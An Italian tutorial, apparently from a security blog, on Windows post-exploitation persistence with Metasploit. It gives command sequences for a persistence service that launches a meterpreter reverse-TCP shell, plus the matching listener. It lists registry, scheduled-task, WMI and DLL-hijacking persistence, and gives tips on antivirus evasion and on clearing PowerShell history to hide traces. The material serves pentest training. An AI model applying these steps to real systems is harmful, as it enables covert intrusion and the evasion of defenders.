Tutorials

Guida alla Persistenza su Windows con Metasploit Framework

Nel contesto del post-exploitation su sistemi Windows, una delle fasi più critiche è l'establishing persistence, ovvero la capacità di mantenere l'accesso ad una macchina compromessa anche dopo il ria

#exploitation#post-exploitation#windows

Guida alla Persistenza su Windows con Metasploit Framework

Introduzione

Nel contesto del post-exploitation su sistemi Windows, una delle fasi più critiche è l'establishing persistence, ovvero la capacità di mantenere l'accesso ad una macchina compromessa anche dopo il riavvio del sistema. In questa guida, approfondiremo l'utilizzo del modulo exploit/windows/local/persistence_service di Metasploit per creare un servizio persistente, oltre a integrare altre tecniche e best practice per garantire una presenza duratura all'interno del target compromesso.


Obiettivi della guida

  • Comprendere l'uso del modulo persistence_service
  • Configurare correttamente un listener per mantenere l'accesso
  • Approfondire altre tecniche comuni di persistenza su Windows
  • Best practice per l'evasione e l'occultamento

1. Utilizzo del modulo exploit/windows/local/persistence_service

Descrizione

Il modulo persistence_service permette di installare un servizio Windows che esegue un payload predefinito ogni volta che il sistema si avvia, garantendo accesso continuo all'attaccante.

Comandi Metasploit:

bash
use exploit/windows/local/persistence_service
set SESSION <id_sessione>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT <porta>
run
  • SESSION: ID della sessione meterpreter attiva
  • PAYLOAD: deve essere coerente con quello del listener
  • LHOST / LPORT: devono coincidere con quelli del multi/handler

2. Configurazione del listener

Dopo aver configurato la persistenza, bisogna predisporre un listener in attesa della connessione in ingresso. Questo si realizza con il modulo exploit/multi/handler:

Comandi Metasploit:

bash
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <tuo_ip>
set LPORT <porta>
run
✅ Assicurati che PAYLOAD, LHOST e LPORT coincidano esattamente con quelli usati nel servizio di persistenza.

3. Altre Tecniche di Persistenza su Windows

TecnicaDescrizione
Chiavi Run/RunOnceInserimento del payload nei registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Scheduled Tasks (schtasks)Creazione di un'attività pianificata per lanciare il payload periodicamente o all'avvio
WMI Event SubscriptionUtilizzo dei consumer WMI per iniettare codice quando si verifica un evento
DLL HijackingSfruttamento di programmi che caricano DLL da percorsi insicuri
Startup FolderCopia di un file eseguibile nella cartella %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

4. Best Practice & Note Operative

  • Evasione AV: Obfuscate il payload usando strumenti come msfvenom, Veil, Shellter o obfuscator-llvm
  • Privilege escalation: Prima di impostare la persistenza, valuta se è necessario elevare i privilegi per garantire l'esecuzione del servizio
  • Pulizia dei log: Rimuovi tracce dai log eventi e da PowerShell (comando: Clear-History, Remove-Item $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt)
  • Validazione: Riavvia la macchina target per confermare l'effettiva esecuzione automatica del servizio

Conclusione

L'uso del modulo exploit/windows/local/persistence_service di Metasploit rappresenta un metodo rapido ed efficace per ottenere persistenza su sistemi Windows. Tuttavia, è fondamentale conoscere anche metodi alternativi per garantirsi accessi affidabili, adattandosi alla configurazione del sistema target e adottando tecniche di evasione per mantenere la discrezione.

La padronanza di queste tecniche è cruciale sia in un contesto di penetration testing etico, sia nella preparazione per certificazioni come l'eJPT.